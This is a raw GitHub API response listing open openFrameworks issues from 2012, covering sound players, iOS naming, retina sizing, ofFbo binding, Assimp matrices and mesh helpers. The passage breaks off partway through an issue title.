'GitHub.com'), ('last-modified', 'Mon, 11 Mar 2013 11:03:21 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"e04ce5dc75d825e86180fb3da5e1f5b1"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 11 Mar 2013 11:04:36 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1385/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1385","id":5447789,"number":1385,"title":"ofOpenALSoundPlayer.cpp vs ofxOpenALSoundPlayer.cpp ?","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-07-05T16:29:56Z","updated_at":"2012-07-05T16:51:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now we have two OpenAL based sound players in OF. \nOne is part of ofxiPhone and one is part of the core.\n\nJust curious if the core ofOpenALSoundPlayer.cpp could be used by iOS and if we could drop/merge ofxOpenALSoundPlayer.cpp ? \nSeems weird to have both.\n\n@damiannz @julapy what do you think?\n\nTheo"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1382/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1382","id":5436804,"number":1382,"title":"rename ofxiPhone to ofxiOS","user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":25,"created_at":"2012-07-05T02:48:59Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"think it might be time to rename ofxiPhone to ofxiOS.\nits one of those things that consistently bugs me every time i have to create a new class beginning with ofxiPhone.\niOS has moved beyond just the iPhone and i think the current naming convention can be confusing.\n\nthis will involve going through and renaming all ofxiPhone classes and adjusting all iOS examples.\n\nplease let me know if anyone has any objections to this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1379/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1379","id":5425486,"number":1379,"title":"iOS: iPad retina ofGetWidth/Height are 2048x1536","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":29,"created_at":"2012-07-04T10:27:33Z","updated_at":"2013-02-16T10:15:53Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per subject line. my suggestion/preference would be for retina to return 1024x768, same as on iOS, to be consistent with the paradigm that iOS uses normally, allowing retina and non-retina code to be identical in the testApp.\n\ni don't know how this is on iphone/ipod touch though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1365/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1365","id":5367217,"number":1365,"title":"projectGenerator doesn't create complete iOS moviePlayerExample project","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T12:25:54Z","updated_at":"2012-06-30T12:25:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"as per title, running projectGenerator on the moviePlayerExample folder skips a number of files necessary (VideoPlayerControls.* and VideoPlayerControlsDelegateForOF.*). as a result the example won't compile."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1364/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1364","id":5365386,"number":1364,"title":"ofDirectShowGrabber glitches on non-native sizes","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-06-30T03:41:12Z","updated_at":"2012-06-30T03:42:23Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"for example, when you ask for 1281x721 it will just display a black image. the pixels are definitely there, but there's some kind of texture bug. videoInput is reporting correctly that the width/height are different than the requested width/height, but ofDirectShowGrabber is not handling that correctly.\n\nalso, we should be using the built in resizing features in other parts of OF now if we can, instead of duplicating the resizing code :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1362/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1362","id":5357380,"number":1362,"title":"simple text file loading and saving","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":10,"created_at":"2012-06-29T16:46:03Z","updated_at":"2012-11-20T00:36:55Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is the simplest way to save a string to a text file right now:\n\n````cpp\nstring str = \"hello\";\nofBuffer msg(str.c_str(), str.length());\nofBufferToFile(\"out.txt\", msg);\n````\n\nthere should be a one-line (one-function, ideally) equivalent similar to http://processing.org/reference/loadStrings_.html and http://processing.org/reference/saveStrings_.html\n\nif we made a constructor for ofBuffer that accepts a string, then it could just be:\n\n````cpp\nofBufferToFile(\"out.txt\", \"hello\");\n````\n\nand a cast operator for ofBuffer to string:\n\n\n````cpp\nstring str;\nofBufferFromFile(\"out.txt\", str);\n````\n\ni'd be ok with that, even though the naming would be a bit obscure."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1361/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1361","id":5318139,"number":1361,"title":"ofSoundPlayer::getIsPlaying() does not work with mp3","user":{"login":"prossel","id":541021,"avatar_url":"https://secure.gravatar.com/avatar/47edf7d39b59dd6fc4cb15775b8b7d5f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"47edf7d39b59dd6fc4cb15775b8b7d5f","url":"https://api.github.com/users/prossel","html_url":"https://github.com/prossel","followers_url":"https://api.github.com/users/prossel/followers","following_url":"https://api.github.com/users/prossel/following","gists_url":"https://api.github.com/users/prossel/gists{/gist_id}","starred_url":"https://api.github.com/users/prossel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/prossel/subscriptions","organizations_url":"https://api.github.com/users/prossel/orgs","repos_url":"https://api.github.com/users/prossel/repos","events_url":"https://api.github.com/users/prossel/events{/privacy}","received_events_url":"https://api.github.com/users/prossel/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-06-28T08:55:15Z","updated_at":"2012-07-04T08:17:07Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Looks like getIsPlaying is always returning false if the sound is a .mp3 file. Tested with OF71 on iOS.\n\nTo reproduce:\n\n1. use the soundPlayerExample\n1. drop a .mp3 file in the sounds folder\n1. change the filename in testApp.mm: `synth.loadSound(\"sounds/part1.mp3\");`\n1. run the app\n1. click to start playing sounds\n\nWhen the last two sounds are playing, their title turns red.\n\nThe first sound (mp3) does not turn red because getIsPlaying() returns false."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1359/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1359","id":5302782,"number":1359,"title":"ofFbo bind() and unbind() is confusing","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":8,"created_at":"2012-06-27T17:50:20Z","updated_at":"2012-06-29T09:17:25Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"fbo.bind() should bind the FBO's texture, ie behave the same way as ofTexture.bind(). At the moment it actually binds the FBO's framebuffer. this is confusing, and the documentation is inaccurate on this point (http://www.openframeworks.cc/documentation/gl/ofFbo.html#bind).\n\ni would suggest making bind() call getTextureReference().bind(), and adding a new function bindFrameBuffer to do what bind() currently does. comments?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1358/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1358","id":5297227,"number":1358,"title":"ofxAssimpModelLoader aiMatrix4x4ToOfMatrix4x4","user":{"login":"neuroprod","id":640585,"avatar_url":"https://secure.gravatar.com/avatar/3623ccdee8e3a141ff0e8d4e8447671d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3623ccdee8e3a141ff0e8d4e8447671d","url":"https://api.github.com/users/neuroprod","html_url":"https://github.com/neuroprod","followers_url":"https://api.github.com/users/neuroprod/followers","following_url":"https://api.github.com/users/neuroprod/following","gists_url":"https://api.github.com/users/neuroprod/gists{/gist_id}","starred_url":"https://api.github.com/users/neuroprod/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/neuroprod/subscriptions","organizations_url":"https://api.github.com/users/neuroprod/orgs","repos_url":"https://api.github.com/users/neuroprod/repos","events_url":"https://api.github.com/users/neuroprod/events{/privacy}","received_events_url":"https://api.github.com/users/neuroprod/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":3,"created_at":"2012-06-27T13:45:13Z","updated_at":"2012-06-27T17:56:45Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"\nline nr 86 this:\n```cpp\nfloat m[16] = { aim.a1,aim.a2,aim.a3,aim.a4,\n\t\t\t\t\taim.b1,aim.b2,aim.b3,aim.b4,\n\t\t\t\t\taim.c1,aim.c2,aim.c3,aim.c4,\n\t\t\t\t\taim.d1,aim.d2,aim.d3,aim.d4 };\n```\nshould be this\n```cpp\nfloat m[16] = { aim.a1,aim.b1,aim.c1,aim.d1,\n\t\t\t\t\taim.a2,aim.b2,aim.c2,aim.d2,\n\t\t\t\t\taim.a3,aim.b3,aim.c3,aim.d3,\n\t\t\t\t\taim.a4,aim.b4,aim.c4,aim.d4 };\n```\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1356/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1356","id":5291942,"number":1356,"title":"ofMesh statics","user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-06-27T08:56:51Z","updated_at":"2012-06-27T15:13:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"hey all!\n\ni'm going back through issues this week to clean out and work on functionality.\n\nwe talked before @ofTheo and maybe marek? (iirc) about ofMesh statics\n\nMy proposal is something like 'ofMeshLibrary' which has lots of standard meshes that you can pull out or draw directly, e.g.:\n* Grid (quad, plane, etc)\n* Box\n* Sphere\n* Icosphere\n* Cylinder\n* Tube\n* Arrow\netc...\n\nfor each you could do like\n\n```c++\nofMesh myMesh;\n\nofMeshLibrary::sphere::draw(); // draw with default resolution\n\n//ofMeshLibrary::sphere::init() is called the first time you either copy or draw the mesh\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with default resolution\n\nofMeshLibrary::sphere::setResolution(5); // change the resolution of the static sphere\n\nmyMesh = ofMeshLibrary::sphere; // create a local instance of sphere with low resolution\n\nofMeshLibrary::sphere::draw(); // draw with reduced resolution\n```\n\nAnybody see any issues with this being in the core?\nIf not I'll start on this. We discussed it before on irc and it was mostly positive."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1354/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1354","id":5280751,"number":1354,"title":"feature suggestion: ofCamera::getXYZat(const ofVec2f & 